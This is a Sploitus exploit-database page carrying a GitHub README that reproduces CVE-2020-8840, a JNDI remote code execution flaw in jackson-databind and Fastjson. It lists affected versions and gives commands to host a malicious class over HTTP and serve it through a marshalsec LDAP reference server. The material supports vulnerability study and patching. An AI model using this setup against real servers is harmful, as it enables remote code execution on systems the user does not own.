Sploitus

Exploit for Deserialization of Untrusted Data in Fasterxml Jackson-Databind

CVE-2020-8840

githubexploit · 2020-11-11

Exploit Code

README51 lines
## https://sploitus.com/exploit?id=5EDF02C1-5DDC-5B0E-BF23-677048091107
# CVE-2020-8840
Analysis and reproduction of the Jackson-databind remote code execution vulnerability (CVE-2020-8840). The project includes:

* `jackson-databind`, `Fastjson` with payloads
* A WebServer malicious class
* Compiled `marshalsec-0.0.3-SNAPSHOT-all.jar`

## Vulnerability Overview
The Jackson-databind remote code execution vulnerability (CVE-2020-8840) allows attackers to exploit the xbean-reflect mechanism (org.apache.xbean.propertyeditor.JndiConverter) to trigger JNDI remote class loading, thereby enabling remote code execution. This vulnerability affects some versions of both jackson-databind and Fastjson.

## jackson-databind
Affected versions: 2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

![](img/1.png)

### Simple Environment Setup
The LDAP service referenced in the sample code needs to be set up manually. **WebServer**

Enable the HTTP service and host the malicious class (the `Evil.java` class is included in the project).

```
python -m http.server 2222
```

![](img/3.png)

**LDAP Service**
Download the [Marshalsec](https://github.com/mbechler/marshalsec) tool, compile it into a jar file, enable the LDAP service, and set the base directory (where the malicious class is hosted by the WebServer). For convenience, the compilation step is omitted; the `marshalsec-0.0.3-SNAPSHOT-all.jar` is also included in the project (the project code is not extensive; the large size is mainly due to this file). Compile using JDK8.
```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil
```

![](img/4.png)




## Fastjson
Affected versions: Fastjson <= 1.2.62

The reproduction environment is the same as above. Set up and start the WebServer and LDAP service manually. ![](img/1.png)



# References
* https://github.com/FasterXML/jackson-databind
* https://github.com/FasterXML/jackson-databind/issues/2620
* https://github.com/FasterXML/jackson-databind/commit/914e7c9f2cb8ce66724bf26a72adc7e958992497
* https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
* https://github.com/alibaba/fastjson